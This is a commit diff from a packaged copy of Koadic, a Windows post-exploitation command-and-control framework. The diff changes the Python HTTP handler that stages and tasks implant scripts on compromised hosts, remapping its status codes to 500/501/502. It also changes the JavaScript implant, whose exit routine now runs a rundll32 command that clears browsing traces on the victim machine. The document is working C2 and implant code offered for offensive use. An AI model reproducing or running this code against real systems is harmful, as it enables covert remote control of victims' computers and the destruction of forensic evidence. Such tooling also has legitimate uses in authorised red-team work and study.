Codebase list koadic / 9843e9e
Update upstream source from tag 'upstream/0_git20210412' Update to upstream version '0~git20210412' with Debian dir ae8f178e145e5d67197853c60554d0e6bbd138cb Sophie Brun 2 years ago
6 changed file(s) with 52 addition(s) and 24 deletion(s). Raw diff Collapse all Expand all
0 FROM ubuntu:19.10
0 FROM ubuntu:20.04
11 WORKDIR /opt/koadic
22 RUN apt-get update && apt-get install -y python3 python3-pip socat
33 COPY . /opt/koadic
00 from socketserver import ThreadingMixIn
11 from http.server import BaseHTTPRequestHandler, HTTPServer
2 from urllib.parse import parse_qs
2 #from urllib.parse import parse_qs
33
44 import cgi
55 import socket
2727 for key, value in headers.items():
2828 self.send_header(key, value)
2929
30 self.send_header('Cache-Control', 'no-store, max-age=0')
31 self.send_header('If-Modified-Since', '0')
32
3033 self.end_headers()
3134
3235 # python is so utterly incapable that we have to write CS 101 socket
5053 headers = {}
5154 headers['Content-Type'] = 'application/octet-stream'
5255 headers['Content-Length'] = len(fdata)
53 self.reply(200, fdata, headers)
56 self.reply(500, fdata, headers)
5457
5558 def get_header(self, header, default=None):
5659 if header in self.headers:
106109
107110 def find_stager(self, splitted):
108111 self.endpoint = splitted[0].split("/")[1].split(".")[0]
112 self.shell.print_verbose(f"handler::find_stager() - endpoint identified = {self.endpoint}")
109113
110114 if self.endpoint not in self.shell.stagers[self.port]:
115 self.shell.print_verbose(f"handler::find_stager() - could not find a listener on port {self.port} for this endpoint")
111116 return False
112117
113118 self.stager = self.shell.stagers[self.port][self.endpoint]
114119 self.options = copy.deepcopy(self.stager.options)
115120 return True
116121
122 def parse_qs(self, qs):
123 params = {}
124 if len(qs) < 2:
125 return params
126 for p in qs[1].split(';'):
127 if not p:
128 continue
129 pp = p.split('=', 1)
130 if len(pp) != 2:
131 continue
132 pk = pp[0]
133 pv = pp[1]
134 if len(pv):
135 params[pk] = [pv]
136 return params
137
117138 def parse_params(self):
139 self.shell.print_verbose(f"handler::parse_params() - path = {self.path}")
118140 splitted = self.path.split("?")
119141 if not self.find_stager(splitted):
120142 return False
121 self.get_params = parse_qs(splitted[1]) if len(splitted) > 1 else {}
143 #self.get_params = parse_qs(splitted[1]) if len(splitted) > 1 else {}
144 self.get_params = self.parse_qs(splitted)
122145
123146 sessionname = self.options.get("SESSIONNAME")
124147
149172
150173 elif self.shell.continuesession:
151174 self.session = self.shell.continuesession
175
176 if self.headers['user-agent']:
177 self.shell.print_verbose(f"handler::parse_params() - user_agent = {self.headers['user-agent']}")
178 if 'compatible' not in self.headers['user-agent'] and 'Microsoft BITS' not in self.headers['user-agent']:
179 self.shell.print_warning("Are you running this payload from a browser? Koadic payloads are not meant to be launched from a browser. If a zombie isn't staging and you're seeing this warning, please don't post a ticket on Github. Run the FULL payload as a command.")
152180
153181 if self.headers['host']:
154182 self.shell.print_verbose(f"handler::parse_params() - Host header present: {self.headers['host']}")
239267 for o in old_options.options:
240268 plugin.options.set(o.name, o.value)
241269
242 return self.reply(200)
270 return self.reply(500)
243271
244272
245273 return self.handle_report()
251279 self.options.set("JOBKEY", "stage")
252280 template = self.options.get("_FORKTEMPLATE_")
253281 data = self.linter.post_process_script(self.options.get("_STAGE_"), template, self.options, self.session)
254 self.reply(200, data)
282 self.reply(500, data)
255283
256284 def handle_oneshot(self):
257285 plugin = self.shell.plugins[self.options.get("MODULE")]
263291 template = self.options.get("_STAGETEMPLATE_")
264292 script = self.linter.post_process_script(script, template, self.options, self.session)
265293
266 self.reply(200, script)
294 self.reply(500, script)
267295 return
268296
269297 j.ip = str(self.client_address[0])
275303 template = self.options.get("_STAGETEMPLATE_")
276304 script = self.linter.post_process_script(script, template, self.options, self.session)
277305
278 self.reply(200, script)
306 self.reply(500, script)
279307
280308 def handle_new_session(self):
281309 self.shell.print_verbose("handler::handle_new_session()")
282310 self.init_session()
283311 template = self.options.get("_STAGETEMPLATE_")
284312 data = self.linter.post_process_script(self.options.get("_STAGE_"), template, self.options, self.session)
285 self.reply(200, data)
313 self.reply(500, data)
286314
287315 def handle_dont_stage(self):
288316 self.shell.print_verbose("handler::handle_dont_stage()")
289317 template = self.options.get("_STAGETEMPLATE_")
290318 data = self.linter.post_process_script(b"Koadic.exit();", template, self.options, self.session)
291 self.reply(200, data)
319 self.reply(500, data)
292320
293321 def handle_bitsadmin_stage(self):
294322 rangeheader = self.get_header('range')
313341 script = self.job.payload()
314342 template = self.options.get("_FORKTEMPLATE_")
315343 script = self.linter.post_process_script(script, template, self.options, self.session)
316 self.reply(200, script)
344 self.reply(500, script)
317345
318346 def handle_work(self):
319347 count = 0
320348 while True:
321349 if self.session.killed:
322 return self.reply(500, "");
350 return self.reply(599, "");
323351
324352 job = self.session.get_created_job()
325353 if job is not None:
334362 self.session.update_active()
335363 count += 1
336364 if count > 600:
337 self.reply(201, "")
365 self.reply(501, "")
338366 return
339367
340368 job.receive()
341369
342370 # hack to tell us to fork 32 bit
343 status = 202 if job.fork32Bit else 201
371 status = 502 if job.fork32Bit else 501
344372
345373 self.reply(status, job.key.encode())
346374
353381 errdesc = self.get_header('errdesc', 'No Description')
354382 errname = self.get_header('errname', 'Error')
355383 self.job.error(errno, errdesc, errname, data)
356 self.reply(200)
384 self.reply(500)
357385 return
358386
359387 self.job.report(self, data)
174174 if "Koadic.file.readText" not in script and shellexecflag and filereadbinaryflag:
175175 stdlib = stdlib.split("//file.readText.start")[0] + stdlib.split("//file.readText.end")[1]
176176 filereadtextflag = True
177 if "Koadic.shell.run" not in script and filereadbinaryflag and filereadtextflag:
178 stdlib = stdlib.split("//shell.run.start")[0] + stdlib.split("//shell.run.end")[1]
177 # if "Koadic.shell.run" not in script and filereadbinaryflag and filereadtextflag:
178 # stdlib = stdlib.split("//shell.run.start")[0] + stdlib.split("//shell.run.end")[1]
179179 if "Koadic.user.encoder" not in script and userinfoflag and httpuploadflag and httpaddheadersflag and shellexecflag and filereadbinaryflag:
180180 stdlib = stdlib.split("//user.encoder.start")[0] + stdlib.split("//user.encoder.end")[1]
181181 if "Koadic.uuid" not in script and userinfoflag and useriselevatedflag and useripaddrsflag and filereadbinaryflag:
4747 var work = Koadic.work.get();
4848 // 201 = x64 or x86
4949 // 202 = force x86
50 if (work.status == 201 || work.status == 202)
50 if (work.status == 501 || work.status == 502)
5151 {
5252 if (work.responseText.length > 0) {
5353 var jobkey = work.responseText;
54 Koadic.work.fork(jobkey, work.status == 202);
54 Koadic.work.fork(jobkey, work.status == 502);
5555 }
5656 }
5757 else // if (work.status == 500) // kill code
3939 //exit.start
4040 Koadic.exit = function()
4141 {
42 Koadic.shell.run("rundll32.exe InetCpl.cpl,ClearMyTracksByProcess 264", false);
4243 if (Koadic.isHTA())
4344 {
4445 // crappy hack?
562563 var data = (typeof(data) !== "undefined") ? data : "";
563564 //var http = new ActiveXObject("Microsoft.XMLHTTP");
564565 var http = Koadic.http.create();
565
566566 http.open("POST", url, false);
567567 Koadic.http.addHeaders(http, headers);
568568 // alert("---Making request---\n" + url + '\n' + "--Data--\n" + data);
66 def create(self):
77 if self.session_id == -1:
88 response = urllib.request.urlopen(self.options.get("VIDEOURL")).read().decode()
9 ms = response.split('approxDurationMs\\":\\"')[1].split("\\")[0]
10 seconds = int(ms)//1000
9 ms = response.split('approxDurationMs')[1].split(',')[0]
10 seconds = int(''.join([s for s in ms if s.isdigit()]))//1000
1111 self.options.set("SECONDS", str(seconds+1))
1212
1313 def done(self):
3131 def run(self):
3232 self.shell.print_status("Retrieving video length...")
3333 response = urllib.request.urlopen(self.options.get("VIDEOURL")).read().decode()
34 ms = response.split('approxDurationMs\\":\\"')[1].split("\\")[0]
35 seconds = int(ms)//1000
34 ms = response.split('approxDurationMs')[1].split(',')[0]
35 seconds = int(''.join([s for s in ms if s.isdigit()]))//1000
3636 self.shell.print_status(f"Video length: {seconds} seconds")
3737
3838 self.options.set("SECONDS", str(seconds+1))